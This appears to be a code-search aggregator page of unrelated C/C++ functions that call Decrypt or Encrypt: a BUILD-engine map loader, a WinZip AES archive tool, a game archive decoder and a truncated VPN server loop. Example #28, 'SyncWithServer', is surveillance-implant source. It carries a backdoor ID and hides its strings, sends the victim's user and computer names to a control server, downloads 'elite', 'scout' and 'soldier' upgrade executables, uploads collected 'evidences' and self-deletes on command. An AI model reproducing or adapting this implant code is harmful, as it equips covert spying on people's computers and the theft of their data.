            matt != MAKE_ID('t','t','a','M'))
    {
        Decrypt (infoBlock, data + 6, 37, 0x7474614d);
    }
    else
    {
        memcpy (infoBlock, data + 6, 37);
    }
    skyLen = 2 << LittleShort(*(WORD *)(infoBlock + 16));
    visibility = LittleLong(*(DWORD *)(infoBlock + 18));
    parallaxType = infoBlock[26];
    numRevisions = LittleLong(*(DWORD *)(infoBlock + 27));
    numsectors = LittleShort(*(WORD *)(infoBlock + 31));
    numWalls = LittleShort(*(WORD *)(infoBlock + 33));
    numsprites = LittleShort(*(WORD *)(infoBlock + 35));
    Printf("Visibility: %d\n", visibility);

    if (mapver == 7)
    {
        // Version 7 has some extra stuff after the info block. This
        // includes a copyright, and I have no idea what the rest of
        // it is.
        data += 171;
    }
    else
    {
        data += 43;
    }

    // Skip the sky info.
    data += skyLen;

    sectortype *bsec = new sectortype[numsectors];
    walltype *bwal = new walltype[numWalls];
    spritetype *bspr = new spritetype[numsprites];
    Xsprite *xspr = new Xsprite[numsprites];

    // Read sectors
    k = numRevisions * sizeof(sectortype);
    for (i = 0; i < numsectors; ++i)
    {
        if (mapver == 7)
        {
            Decrypt (&bsec[i], data, sizeof(sectortype), k);
        }
        else
        {
            memcpy (&bsec[i], data, sizeof(sectortype));
        }
        data += sizeof(sectortype);
        if (bsec[i].extra > 0)	// skip Xsector
        {
            data += 60;
        }
    }

    // Read walls
    k |= 0x7474614d;
    for (i = 0; i < numWalls; ++i)
    {
        if (mapver == 7)
        {
            Decrypt (&bwal[i], data, sizeof(walltype), k);
        }
        else
        {
            memcpy (&bwal[i], data, sizeof(walltype));
        }
        data += sizeof(walltype);
        if (bwal[i].extra > 0)	// skip Xwall
        {
            data += 24;
        }
    }

    // Read sprites
    k = (numRevisions * sizeof(spritetype)) | 0x7474614d;
    for (i = 0; i < numsprites; ++i)
    {
        if (mapver == 7)
        {
            Decrypt (&bspr[i], data, sizeof(spritetype), k);
        }
        else
        {
            memcpy (&bspr[i], data, sizeof(spritetype));
        }
        data += sizeof(spritetype);
        if (bspr[i].extra > 0)	// copy Xsprite
        {
            assert(sizeof(Xsprite) == 56);
            memcpy(&xspr[i], data, sizeof(Xsprite));
            data += sizeof(Xsprite);
        }
        else
        {
            memset(&xspr[i], 0, sizeof(Xsprite));
        }
    }

    // Now convert to Doom format, since we've extracted all the standard
    // BUILD info from the map we need. (Sprites are ignored.)
    LoadSectors (bsec);
    LoadWalls (bwal, numWalls, bsec);
    *mapthings = new FMapThing[numsprites];
    *numspr = LoadSprites (bspr, xspr, numsprites, bsec, *mapthings);

    delete[] bsec;
    delete[] bwal;
    delete[] bspr;
    delete[] xspr;

    return true;
}
Example #26
0
int main(int argc,char** argv)
{
 char pm, operation=-1, found=1, pw1[128], pw2[128], ae1[15], ae2[15];
 u32 i;
 PK0102 ce;
 PK0304 le;
 PK0506 ed;

 for (pm=1; pm < argc; pm++)
 {
  char opt;
  if (argv[pm][0] != '/') continue;

  if (argv[pm][1] == '?') {
   printf( "Encrypts or decrypts an archive following WinZip(R) 9 specifications.\n\n" \
"ZAES /D | /E:keysize [/2] archive.zip\n\n" \
"  /D         decrypts AES encrypted entries\n" \
"  /E:keysize encrypts with 128, 192 or 256-bit keys (keysize 1, 2 or 3)\n" \
"  /2         AE-2 format (sets CRC-32 to zero)\n");
   return 1;
  }

  opt = toupper(argv[pm][1]);
  if (opt== 'E') {
   Mode = atol(&argv[pm][3]);
   operation = 0;
   filter = encrypt_authenticate;
   if (Mode < 1 || Mode > 3)
    Z_ERROR("Bad encryption mode specified!");
   SaltSize = KS[Mode].Salt;
   KeySize = KS[Mode].Key;
   found++;
   continue;
  }

  if (opt== 'D') {
   operation = 1;
   filter = authenticate_decrypt;
   found++;
   continue;
  }

  if (opt== '2') {
   AE2 = 1;
   found++;
   printf("WARNING: according to AE-2 specifications, CRC-32 will be set to zero\n"\
"in encrypted entries. Reverting to original archive after decryption will\n"\
"be impossible with this utility!\n");
   continue;
  }
 }
 argv+=found;
 argc-=found;

 if (operation == -1) Z_ERROR("You must specify /E or /D switch!\nTry ZAES /?");
 if (argc < 1) Z_ERROR("You must give a ZIP archive to process!");

 register_prng(&sprng_desc);
 register_cipher(&aes_desc);
 register_hash(&sha1_desc);
//~ printf("DEBUG: sha1 id=%d, aes id=%d\n", find_hash("sha1"), find_cipher("aes"));

 if ( (ZIN=fopen(argv[0],"rb")) == 0 || (ZIN2=fopen(argv[0],"rb")) == 0 )
  Z_ERROR("Can't open input ZIP archive");

 if ( (ZOUT=topen(ae1)) == 0 || (ZTMP=topen(ae2)) == 0)
  Z_ERROR("Can't open temporary output files");

 setvbuf(ZIN , 0, _IOFBF, BLOCK);
 setvbuf(ZOUT, 0, _IOFBF, BLOCK);

 /* assumiamo uno ZIP senza commento! */
 fseek(ZIN2,-22,SEEK_END);
 safeRead(&ed, ZIN2, sizeof(PK0506));

 if (ed.Sig != 0x06054B50)
#ifdef HANDLE_COMMENT
 {
  fseek(ZIN2, -0xFFFF, SEEK_END);
  fread(p, 1, 4, ZIN2);
#else
  Z_ERROR("End directory marker not found!");
#endif
 /* verifica un minimo di coerenza nella ENDDIR */
 if (ed.Disk != 0)
  Z_ERROR("Can't process a spanned archive");

 while(1) {
  printf("Enter password: "******"\rFor your safety, please use a password of 8 characters or more.\n");
   continue;
  }
  if (operation) {
   printf("\n");
   break;
  }
  printf("\rVerify password: "******"Passwords don't match!\n");
   continue;
  }
  printf("\n");
  break;
 }

#define PUTN(x) { fileCopy(stdout, ZIN, x.NameLen); fseek(ZIN, -x.NameLen, SEEK_CUR); }

 fseek(ZIN2, ed.Offset, SEEK_SET);
 for (i=0; i < ed.Total; i++)
 {
   safeRead(&ce, ZIN2, sizeof(PK0102));
   if (ce.Sig != 0x02014B50)
    Z_ERROR("Expected central directory marker not found");
   /* Assume i dati corretti dalla LE */
   fseek(ZIN, ce.Offset, SEEK_SET);
   safeRead(&le, ZIN, sizeof(PK0304));
   if (le.Sig != 0x04034B50)
    Z_ERROR("Expected local entry marker not found");
   if ( ((le.Flag & 1) && !operation) || /* doesn't encrypt already encrypted */
        (!(le.Flag & 1) && operation) || /* doesn't decrypt already decrypted */
        ((le.Flag & 1) && operation && le.CompMethod != 99) || /* doesn't decrypt not AES encrypted */
        !le.CompSize )
   {
    ce.Offset = ftell(ZOUT);
    safeWrite(ZOUT, &le, sizeof(PK0304));
    printf("  copying: "); PUTN(le);
    fileCopy(ZOUT, ZIN, le.NameLen+le.ExtraLen+le.CompSize);
    printf("\n");
    safeWrite(ZTMP, &ce, sizeof(PK0102));
    fileCopy(ZTMP, ZIN2, ce.NameLen+ce.ExtraLen);
    continue;
   }
   if (!operation)
   {
    AE_EXTRA ae = {0x9901, 7, AE2+1, 0x4541, Mode, 0};
    ae.CompMethod = ce.CompMethod;
    ce.CompMethod = 99;
    if (AE2) ce.Crc32 = 0;
    ce.Flag |= 1;
    ce.ExtraLen += 11;
    ce.CompSize += SaltSize + 12; /* variable salt, fixed password check and hmac */
    ce.Offset = ftell(ZOUT);
    safeWrite(ZTMP, &ce, sizeof(PK0102));
    fileCopy(ZTMP, ZIN2, ce.NameLen+ce.ExtraLen-11);
    safeWrite(ZTMP, &ae, 11);
    printf("  encrypting: "); PUTN(le);
    Encrypt(&le, &ae, pw1);
    printf("\n");
   }
   else
   {
    ce.Offset = ftell(ZOUT);
    printf("  decrypting: "); PUTN(le);
    Decrypt(&le, pw1); /* Decrypts contents */
    printf("\n");
    ce.CompMethod = le.CompMethod;
    if (AE2) ce.Crc32 = 0;
    ce.Flag ^= 1;
    ce.ExtraLen -= 11;
    ce.CompSize = le.CompSize;
    safeWrite(ZTMP, &ce, sizeof(PK0102));
    /* Copy the extra data (may be LE != CE) */
    fileCopy(ZTMP, ZIN2, ce.NameLen);
    for(ce.ExtraLen+=11; ce.ExtraLen;)
    {
     u16 u[2];
     safeRead(u, ZIN2, 4);
     ce.ExtraLen -= (4 + u[1]);
     if (u[0] == 0x9901)
     {
      fseek(ZIN2, u[1], SEEK_CUR);
      continue;
     }
     safeWrite(ZTMP, u, 4);
     fileCopy(ZTMP, ZIN2, u[1]);
    }
   }
 }

 ed.Offset = ftell(ZOUT); /* new central directory start */
 ed.Size = ftell(ZTMP); /* new central directory size */
 fseek(ZTMP, 0, SEEK_SET);
 fclose(ZIN);
 fclose(ZIN2);
 /* Copies central directory */
 fileCopy(ZOUT, ZTMP, ed.Size);
 safeWrite(ZOUT, &ed, sizeof(PK0506));
 fclose(ZTMP);
 fclose(ZOUT);
 remove(ae2);
 if (remove(argv[0]))
 {
  printf("Can't remove old archive; new one is in file '%s'\n", ae1);
 } else
 if (rename(ae1, argv[0]))
 {
  printf("Can't rename old archive; new one is in file '%s'\n", ae1);
 }
 memset(&BUF, 0, sizeof(BUF));
 memset(&ctr, 0, sizeof(ctr));
 memset(pw1, 0, 128);
 memset(pw2, 0, 128);
 return 0;
}
Example #27
0
/// Decode
///
/// @param archive Archive
///
bool CPaz::Decode(CArcFile* archive)
{
	if (archive->GetArcExten() != _T(".paz"))
		return false;

	// Initialize decryption key
	InitDecodeKey(archive);

	// Initialize Table
	InitTable();

	// Decrypt table
	DecodeTable1();
	DecodeTable2();

	// Create output file
	const SFileInfo* file_info = archive->GetOpenFileInfo();

	if (lstrcmpi(PathFindExtension(file_info->name), _T(".sc")) == 0)
	{
		archive->OpenScriptFile();
	}
	else
	{
		archive->OpenFile();
	}

	// Output

	if (file_info->format == _T("zlib"))
	{
		// ZLIB
		std::vector<u8> src(file_info->sizeCmp);
		std::vector<u8> dst(file_info->sizeOrg);

		// Decrypt
		archive->Read(src.data(), src.size());
		Decrypt(src.data(), src.size());
		DecodeData(src.data(), src.size());
		Decrypt2(src.data(), src.size());

		// Decompress
		CZlib zlib;
		zlib.Decompress(dst.data(), dst.size(), src.data(), src.size());

		// Output
		archive->WriteFile(dst.data(), dst.size());
	}
	else
	{
		if (archive->GetArcName() == _T("mov.paz"))
		{
			// Movie
			size_t buffer_size = GetMovieBufSize(archive);
			std::vector<u8> buffer(buffer_size);

			for (size_t total_written = 0; total_written != file_info->sizeOrg; total_written += buffer_size)
			{
				// Get buffer size
				archive->SetBufSize(&buffer_size, total_written, file_info->dwSizeOrg2);

				// Read
				archive->Read(buffer.data(), buffer_size);

				// Decrypt
				Decrypt(buffer.data(), buffer_size);
				DecodeMovieData(buffer.data(), buffer_size);
				Decrypt2(buffer.data(), buffer_size);

				// Adjust buffer size
				archive->SetBufSize(&buffer_size, total_written, file_info->sizeOrg);

				// Write
				archive->WriteFile(buffer.data(), buffer_size);
			}
		}
		else
		{
			// Other data
			size_t buffer_size = archive->GetBufSize();
			std::vector<u8> buffer(buffer_size);

			for (size_t total_written = 0; total_written != file_info->sizeOrg; total_written += buffer_size)
			{
				// Adjust buffer size
				archive->SetBufSize(&buffer_size, total_written, file_info->dwSizeOrg2);

				// Read
				archive->Read(buffer.data(), buffer_size);

				// Decrypt
				Decrypt(buffer.data(), buffer_size);
				DecodeData(buffer.data(), buffer_size);
				Decrypt2(buffer.data(), buffer_size);

				// Adjust buffer size
				archive->SetBufSize(&buffer_size, total_written, file_info->sizeOrg);

				// Write
				archive->WriteFile(buffer.data(), buffer_size);
			}
		}
	}

	return true;
}
Example #28
0
BOOL SyncWithServer()
{
	PBYTE pRandomData, pProtoMessage, pInstanceId, pCryptedBuffer;
	ULONG uGonnaDie, uGonnaUpdate;
	BYTE pHashBuffer[20];
	BOOL bRetVal = FALSE;

	uGonnaDie = uGonnaUpdate = 0;

	memcpy(pServerKey, CLIENT_KEY, 32);
	memcpy(pConfKey, ENCRYPTION_KEY_CONF, 32);
#ifdef _DEBUG_BINPATCH
	MD5((PBYTE)CLIENT_KEY, 32, pServerKey);
	MD5((PBYTE)ENCRYPTION_KEY_CONF, 32, pConfKey);
#endif
	
	pRandomData = (PBYTE)malloc(16);
	GenerateRandomData(pRandomData, 16);

	PBYTE pBuffer = (PBYTE)malloc(32);
	memcpy(pBuffer, pConfKey, 16);
	memcpy(pBuffer + 16, pRandomData, 16);
	CalculateSHA1(pHashBuffer, pBuffer, 32);
	free(pBuffer);
	
	pInstanceId = (PBYTE)malloc(20);
	GetUserUniqueHash(pInstanceId, 20);

	// proto_v + rand + sha1(conf_key + rand) + bdoor_id(padded) + instance_id + subtype + randpool	 (FIXME)
	ULONG uRandPoolLen = GetRandomInt(128, 1024);
	ULONG uCryptBufferLen = Align(sizeof(ULONG) + 16 + 20 + strlen(BACKDOOR_ID) + 2 + 20 + sizeof(ULONG), 16);
	ULONG uMessageLen = uCryptBufferLen + uRandPoolLen;
	pProtoMessage = (PBYTE)malloc(uMessageLen);
	PBYTE pMessageBuffer = pProtoMessage;

	// proto version
	*(PULONG)pMessageBuffer = 0x1; 
	pMessageBuffer += sizeof(ULONG);

	// kd
	memcpy(pMessageBuffer, pRandomData, 16);
	pMessageBuffer += 16;

	// sha1(conf_key + kd)
	memcpy(pMessageBuffer, pHashBuffer, 20);
	pMessageBuffer += 20;

	// backdoor_id
	memcpy(pMessageBuffer, BACKDOOR_ID, strlen(BACKDOOR_ID) + 2);
	pMessageBuffer += strlen(BACKDOOR_ID);
	memcpy(pMessageBuffer, "\x00\x00", 0x2); // 16 byte padding (id is 14byte fixed len)
	pMessageBuffer += 0x2;

	// instance id
	memcpy(pMessageBuffer, pInstanceId, 20);
	pMessageBuffer += 20;

	// subtype
	pMessageBuffer[0] = 0x0; // ARCH: windows

	/* 
		determine whether it's a demo scout or not :
		- cautiously set demo to 0 (i.e. release)
		- if stars align properly set to demo
	*/ 
	pMessageBuffer[1] = 0x0; // TYPE: release

	SHA1Context sha;
	SHA1Reset(&sha);
    SHA1Input(&sha, (PBYTE)DEMO_TAG, (DWORD)(strlen(DEMO_TAG)+1));
	if (SHA1Result(&sha)) 
	{ 
		/* sha1 of string Pg-WaVyPzMMMMmGbhP6qAigT, used for demo tag comparison while avoiding being binpatch'd */
		unsigned nDemoTag[5];
		nDemoTag[0] = 1575563797;
		nDemoTag[1] = 2264195072;
		nDemoTag[2] = 3570558757;
		nDemoTag[3] = 2213518012;
		nDemoTag[4] = 971935466;
		
		if( nDemoTag[0] == sha.Message_Digest[0] &&
			nDemoTag[1] == sha.Message_Digest[1] &&
			nDemoTag[2] == sha.Message_Digest[2] &&
			nDemoTag[3] == sha.Message_Digest[3] &&
			nDemoTag[4] == sha.Message_Digest[4] )
		{
			pMessageBuffer[1] = 0x1;
		}
		
	}



	pMessageBuffer[2] = 0x1; // STAGE: scout
	pMessageBuffer[3] = 0x0; // FLAG: reserved

	// encrypt
	Encrypt(pProtoMessage, uCryptBufferLen, pServerKey, PAD_NOPAD);

	// append random block
	GenerateRandomData(pProtoMessage + uCryptBufferLen, uRandPoolLen);

	// base64 everything
	PBYTE pBase64Message = (PBYTE)base64_encode(pProtoMessage, uMessageLen);

	// send request
	ULONG uResponseLen;
	ULONG uRet = WinHTTPSendData(pBase64Message, strlen((char *)pBase64Message));
	free(pBase64Message);
	if (!uRet)
	{
		free(pRandomData);
		free(pInstanceId);
		free(pProtoMessage);
#ifdef _DEBUG
		OutputDebugString(L"[!!] WinHTTPSendData FAIL @ proto.cpp:234\n");
#endif
		return FALSE;
	}

	// get response
	PBYTE pHttpResponseBufferB64 = WinHTTPGetResponse(&uResponseLen); 
	if (!pHttpResponseBufferB64)
	{
#ifdef _DEBUG
	OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:244\n");
#endif
		return FALSE;
	}

	// base64
	ULONG uOut;
	PBYTE pProtoResponse = base64_decode((char *)pHttpResponseBufferB64, uResponseLen, (int *)&uOut);
	free(pHttpResponseBufferB64);

	if (uOut < sizeof(PROTO_RESPONSE_AUTH))
		return FALSE; // FIXME free

	// decrypt
	Decrypt(pProtoResponse, uOut, pConfKey);

	// fill packet
	PROTO_RESPONSE_AUTH pProtoResponseId;
	memcpy(&pProtoResponseId, pProtoResponse, sizeof(PROTO_RESPONSE_AUTH));
	free(pProtoResponse);

	// first sha1
	pBuffer = (PBYTE)malloc(16 + sizeof(pProtoResponseId.pRandomData) + 16);
	memcpy(pBuffer, pConfKey, 16);
	memcpy(pBuffer + 16, pProtoResponseId.pRandomData, sizeof(pProtoResponseId.pRandomData));
	memcpy(pBuffer + 16 + sizeof(pProtoResponseId.pRandomData), pRandomData, 16);
	CalculateSHA1(pHashBuffer, pBuffer, 16 + sizeof(pProtoResponseId.pRandomData) + 16);
	free(pBuffer);
	
	PBYTE pFirstSha1Digest = (PBYTE)malloc(20);
	memcpy(pFirstSha1Digest, pHashBuffer, 20);

	// second sha1
	pBuffer = (PBYTE)malloc(20 + 16);
	memcpy(pBuffer, pFirstSha1Digest, 20);
	memcpy(pBuffer + 20, pProtoResponseId.pRandomData, sizeof(pProtoResponseId.pRandomData));
	CalculateSHA1(pHashBuffer, pBuffer, 20 + sizeof(pProtoResponseId.pRandomData));
	free(pBuffer);
	free(pFirstSha1Digest);

	if (memcmp(pHashBuffer, pProtoResponseId.pSha1Digest, 20))
	{
#ifdef _DEBUG
		OutputDebugString(L"[!!] Ouch SHA1 does not match !!!\n");
#endif
		return FALSE;
	}


	// AUTH DONE \o/
#ifdef _DEBUG
	OutputDebugString(L"[+] PROTO_AUTH succeded !!\n");
#endif

	// session key sha1(conf_key + ks + kd)
	pBuffer = (PBYTE)malloc(48); 
	memcpy(pBuffer, pConfKey, 16);
	memcpy(pBuffer + 16, pProtoResponseId.pRandomData, 16);
	memcpy(pBuffer + 16 + 16, pRandomData, 16);
	CalculateSHA1(pSessionKey, pBuffer, 48);
	free(pBuffer);

	if (pProtoResponseId.uProtoCommand != PROTO_OK && pProtoResponseId.uProtoCommand != PROTO_NO && pProtoResponseId.uProtoCommand != PROTO_UNINSTALL)
	{
#ifdef _DEBUG
		PWCHAR pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR));
		swprintf_s(pDebugString, 1024, L"[!!] Invalid PROTO command %08x", pProtoResponseId.uProtoCommand);
		OutputDebugString(pDebugString);
		free(pDebugString);
#endif

		return FALSE;
	}
	

	if (pProtoResponseId.uProtoCommand == PROTO_NO)
	{
#ifdef _DEBUG
		OutputDebugString(L"[!!] Got PROTO_NO\n");
#endif
		return FALSE;
	}
	else if (pProtoResponseId.uProtoCommand == PROTO_UNINSTALL)
	{
#ifdef _DEBUG
		OutputDebugString(L"[+] Got PROTO_UNINSTALL, I'm gonna die :(\n");
#endif
		if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_BYE, NULL, 0, pSessionKey, &pCryptedBuffer)))
			free(pCryptedBuffer);

		WinHTTPClose();
		DeleteAndDie(TRUE);
	}


	// send ID
	ULONG uStringLong = 32767 * sizeof(WCHAR);
	PWCHAR pUserName = (PWCHAR)malloc(uStringLong);
	PWCHAR pComputerName = (PWCHAR)malloc(uStringLong);

	WCHAR strUser[] = { L'U', L'S', L'E', L'R', L'N', L'A', L'M', L'E', L'\0' };
	WCHAR strComputer[] = { L'C', L'O', L'M', L'P', L'U', L'T', L'E', L'R', L'N', L'A', L'M', L'E', L'\0' };

	if (!GetEnvironmentVariable(strUser, pUserName, uStringLong))
		pUserName[0] = L'\0';
	if (!GetEnvironmentVariable(strComputer, pComputerName, uStringLong))
		pComputerName[0] = L'\0';

	// Prepare ID buffer
	ULONG uUserLen, uComputerLen, uSourceLen = 0;	
	PBYTE pUserNamePascal = PascalizeString(pUserName, &uUserLen);
	PBYTE pComputerNamePascal = PascalizeString(pComputerName, &uComputerLen);
	PBYTE pSourceIdPascal = PascalizeString(L"", &uSourceLen);
	free(pUserName);
	free(pComputerName);

	ULONG uBuffLen = sizeof(ULONG) + uUserLen + uComputerLen + uSourceLen;
	pBuffer = (PBYTE)malloc(uBuffLen);
	*(PULONG)pBuffer = BUILD_VERSION;
	memcpy(pBuffer + sizeof(ULONG), pUserNamePascal, uUserLen);
	memcpy(pBuffer + sizeof(ULONG) + uUserLen, pComputerNamePascal, uComputerLen);
	memcpy(pBuffer + sizeof(ULONG) + uUserLen + uComputerLen, pSourceIdPascal, uSourceLen);
	free(pUserNamePascal);
	free(pComputerNamePascal);
	free(pSourceIdPascal);

	// Send ID
	if (!WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_ID, pBuffer, uBuffLen, pSessionKey, &pCryptedBuffer)))
	{
#ifdef _DEBUG
		OutputDebugString(L"[!!] WinHTTPSendData @ proto.cpp:381\n");
#endif
		free(pBuffer);
		return FALSE;
	}
	free(pCryptedBuffer);
	free(pBuffer);	

	// Get reponse
	PBYTE pHttpResponseBuffer = WinHTTPGetResponse(&uResponseLen); 
	if (!pHttpResponseBuffer || uResponseLen < sizeof(PROTO_RESPONSE_ID))
	{
#ifdef _DEBUG
		OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:387\n");
#endif
		if (pHttpResponseBuffer)
			free(pHttpResponseBuffer);
		return FALSE;
	}
	// decrypt it
	Decrypt(pHttpResponseBuffer, uResponseLen, pSessionKey);

	PPROTO_RESPONSE_ID pResponseId = (PPROTO_RESPONSE_ID)pHttpResponseBuffer;
#ifdef _DEBUG
	PWCHAR pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR));
	swprintf_s(pDebugString, 1024, L"[+] Got PROTO_ID PROTO - uProtoCommand: %08x, uMessageLen: %08x, uAvailables: %d\n", 
		pResponseId->uProtoCommand, 
		pResponseId->uMessageLen, 
		pResponseId->uAvailables);
	OutputDebugString(pDebugString);
	free(pDebugString);
#endif
	
	// parse availables
	if (pResponseId->uAvailables)
	{
		PULONG pAvailables = (&pResponseId->uAvailables) + 1;
		for (ULONG i=0; i<pResponseId->uAvailables; i++)
		{
#ifdef _DEBUG
			pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR));
			swprintf_s(pDebugString, 1024, L"  - Available %08x\n", pAvailables[i]);
			OutputDebugString(pDebugString);
			free(pDebugString);
#endif
			// AVAILABLE STUFF HERE THERE AND EVERYWHERE
			if (pAvailables[i] == PROTO_UPGRADE)
			{
#ifdef _DEBUG
				pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR));
				swprintf_s(pDebugString, 1024, L"[+] Got PROTO_UPGRADE, requesting executables\n");
				OutputDebugString(pDebugString);
				free(pDebugString);
#endif
				if (!WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_UPGRADE, NULL, 0, pSessionKey, &pCryptedBuffer)))
				{
#ifdef _DEBUG
					OutputDebugString(L"[!!] WinHTTPSendData FAIL @proto.cpp:435\n");
#endif
					return FALSE;
				}
				free(pCryptedBuffer);

				PBYTE pHttpUpgradeBuffer = WinHTTPGetResponse(&uResponseLen); 
				if (!pHttpUpgradeBuffer || uResponseLen < sizeof(PROTO_RESPONSE_UPGRADE))
				{
#ifdef _DEBUG
					OutputDebugString(L"[!!] WinHTTPGetResponse FAIL @ proto.cpp:433\n");
#endif
					if (pHttpUpgradeBuffer)
						free(pHttpUpgradeBuffer);

					return FALSE; // FIXME FREE
				}
#ifdef _DEBUG
				OutputDebugString(L"[*] Got Upgrade\n");
#endif
				Decrypt(pHttpUpgradeBuffer, uResponseLen, pSessionKey);

				PPROTO_RESPONSE_UPGRADE pProtoUpgrade = (PPROTO_RESPONSE_UPGRADE)pHttpUpgradeBuffer; 
				PWCHAR pUpgradeName = (PWCHAR)malloc(pProtoUpgrade->uUpgradeNameLen + sizeof(WCHAR));

				if (!pUpgradeName)
				{
#ifdef _DEBUG
					OutputDebugString(L"[!!] pUpgradeName fail\n");
#endif
					free(pHttpUpgradeBuffer);
					return FALSE; // FIXME FREE
				}
				SecureZeroMemory(pUpgradeName, pProtoUpgrade->uUpgradeNameLen + sizeof(WCHAR));
				memcpy(pUpgradeName, &pProtoUpgrade->pUpgradeNameBuffer, pProtoUpgrade->uUpgradeNameLen);
#ifdef _DEBUG
				pDebugString = (PWCHAR)malloc(1024 * sizeof(WCHAR));
				swprintf_s(pDebugString, 1024, L"[+] PROTO_UPGRADE - uProtoCommand: %08x, uResponseLen: %x, uUpgradeLeft: %d, uUpgradeNameLen: %d, pUpgradeName: %s\n", 
					pProtoUpgrade->uProtoCommand, pProtoUpgrade->uResponseLen, pProtoUpgrade->uUpgradeLeft, pProtoUpgrade->uUpgradeNameLen, pUpgradeName);
				OutputDebugString(pDebugString);
				free(pDebugString);
#endif

				ULONG uFileLength = *(PULONG) (((PBYTE)&pProtoUpgrade->pUpgradeNameBuffer) + pProtoUpgrade->uUpgradeNameLen);
				PBYTE pFileBuffer = (PBYTE)(((PBYTE)&pProtoUpgrade->pUpgradeNameBuffer) + pProtoUpgrade->uUpgradeNameLen) + sizeof(ULONG);

				//if (!wcscmp(pUpgradeName, L"elite"))
				if (pUpgradeName[0] == L'e' && pUpgradeName[1] == L'l')
				{
					if (UpgradeElite(pUpgradeName, pFileBuffer, uFileLength))
						uGonnaDie = 1;
					else
					{
						WCHAR pMessage[] = { L'E', L'l', L'F', L'a', L'i', L'l', L'\0' };
						SendInfo(pMessage);
					}
				}
				//if (!wcscmp(pUpgradeName, L"scout"))
				if (pUpgradeName[0] == L's' && pUpgradeName[1] == L'c')
				{
					if (!UpgradeScout(pUpgradeName, pFileBuffer, uFileLength))
					{
						WCHAR pMessage[] = { L'S', L'c', L'F', L'a', L'i', L'l', L'\0' };
						SendInfo(pMessage);
					}
				}
				if (pUpgradeName[0] == L's' && pUpgradeName[1] == L'o')
				{
					if (!UpgradeSoldier(pUpgradeName, pFileBuffer, uFileLength))
					{
						WCHAR pMessage[] = { L'S', L'o', L'F', L'a', L'i', L'l', L'\0' };
						SendInfo(pMessage);
					}
				}

				//if (!wcscmp(pUpgradeName, L"recover"))
				//if (pUpgradeName[0] == L'r' && pUpgradeName[1] == L'e')
				//{
				//	if (!UpgradeRecover(pUpgradeName, pFileBuffer, uFileLength))
				//	{
				//		WCHAR pMessage[] = { L'R', L'e', L'c', L'F', L'a', L'i', L'l', L'\0' };
				//		SendInfo(pMessage);
				//	}
				//}

				free(pUpgradeName);
				free(pHttpUpgradeBuffer);
			}
		}
	}
	free(pHttpResponseBuffer);

	if (SendEvidences())
		bRetVal = TRUE;
	
	// send BYE
#ifdef _DEBUG
	OutputDebugString(L"[*] Sending PROTO_BYE\n");
#endif
	if (WinHTTPSendData(pCryptedBuffer, CommandHash(PROTO_BYE, NULL, 0, pSessionKey, &pCryptedBuffer)))
		free(pCryptedBuffer);
#ifdef _DEBUG
	else
		OutputDebugString(L"[!!] WinHTTPSendData FAIL @ proto.cpp:499\n");
#endif

	if (uGonnaDie == 1)
	{
		WinHTTPClose();
		DeleteAndDie(TRUE);
	}

	free(pProtoMessage);
	free(pInstanceId);
	free(pRandomData);

	return bRetVal;
}
Example #29
0
int svpn_server_handle_thread(struct svpn_server* pvoid)
{
	struct svpn_server *psc = pvoid;

	struct sockaddr_in6 addr;
	socklen_t alen = sizeof(addr);

	struct timeval tv;

	char tmpstr[32];
	struct svpn_net_ipv4_header* pheader = NULL;
	unsigned char buffer[BUFFER_LEN], tmp_buffer[BUFFER_LEN];
	int ret, uid, len;
	fd_set fd_list;
	int maxfd = (psc->sock_fd > psc->tun_fd) ? psc->sock_fd : psc->tun_fd;
	maxfd++;

	strcpy(fmtstr, "Send:99,000,000,000B [9,000,000B/s], Recv:99,000,000,000B [9,000,000B/s]\r");

	memset(&stat, 0, sizeof(stat));
	gettimeofday(&tv, NULL);
	stat.ts_last = tv.tv_sec * 1000000LL + tv.tv_usec;

	while(1)
	{
		FD_ZERO(&fd_list);
		FD_SET(psc->tun_fd, &fd_list);
		FD_SET(psc->sock_fd, &fd_list);
		
		ret = select(maxfd, &fd_list, NULL, NULL, NULL);
		if(ret < 0)
		{
			if(errno == EINTR)
				return 0;
			continue;
		}

		// update statistics data
		gettimeofday(&tv, NULL);
		stat.ts_current = tv.tv_sec * 1000000LL + tv.tv_usec;


		if(FD_ISSET(psc->sock_fd, &fd_list))
		{
			len = recvfrom(psc->sock_fd, tmp_buffer, BUFFER_LEN, 0, 
				(struct sockaddr*)&addr, &alen);

			if(len <= 0 || len > BUFFER_LEN)
				continue;

			uid = tmp_buffer[0];
			if (psc->clients[uid] == NULL)
			{
				mprintf(LWARN, "Unknown user #%d", uid);
				continue;
			}

			Decrypt(&(psc->clients[uid]->table), tmp_buffer, buffer, len);

			pheader = (struct svpn_net_ipv4_header*)buffer;
			if (pheader->src_ip[0] != psc->local_addr[0] ||
				pheader->src_ip[1] != psc->local_addr[1] ||
				pheader->src_ip[2] != psc->local_addr[2] ||
				pheader->src_ip[3] != uid)
			{
				mprintf(LWARN, "Invalid password : %s", inet_ntop(PF_INET6, (char*)&addr + 8, tmpstr, sizeof(tmpstr)));
				continue;
			}

			if (memcmp(&addr, &psc->clients[uid]->addr, sizeof(addr)) != 0)
			{
				memcpy(&psc->clients[uid]->addr, &addr, sizeof(addr));
				mprintf(LINFO, "Client #%d move to %s", uid,
						inet_ntop(PF_INET6, (char*)&addr + 8, tmpstr, sizeof(tmpstr)));
			}

			stat.total_send += len;
			stat.total_pkgsend++;
			output_info();

			len = write(psc->tun_fd, buffer, len);
		}

		if(FD_ISSET(psc->tun_fd, &fd_list))
		{
			len = read(psc->tun_fd, tmp_buffer, BUFFER_LEN);

			if (len <= 0 || len > BUFFER_LEN)
				continue;

			pheader = (struct svpn_net_ipv4_header*)tmp_buffer;

			uid = pheader->dst_ip[3];
			if (psc->clients[uid] == NULL)
			{
				mprintf(LWARN, "User #%d not exist", uid);
				continue;
			}

			Encrypt(&(psc->clients[uid]->table), tmp_buffer, buffer, len);

			len = sendto(psc->sock_fd, buffer, len, 0,
					(struct sockaddr*)&psc->clients[uid]->addr,
					sizeof(struct sockaddr_in6));

			if (len <= 0)
			{
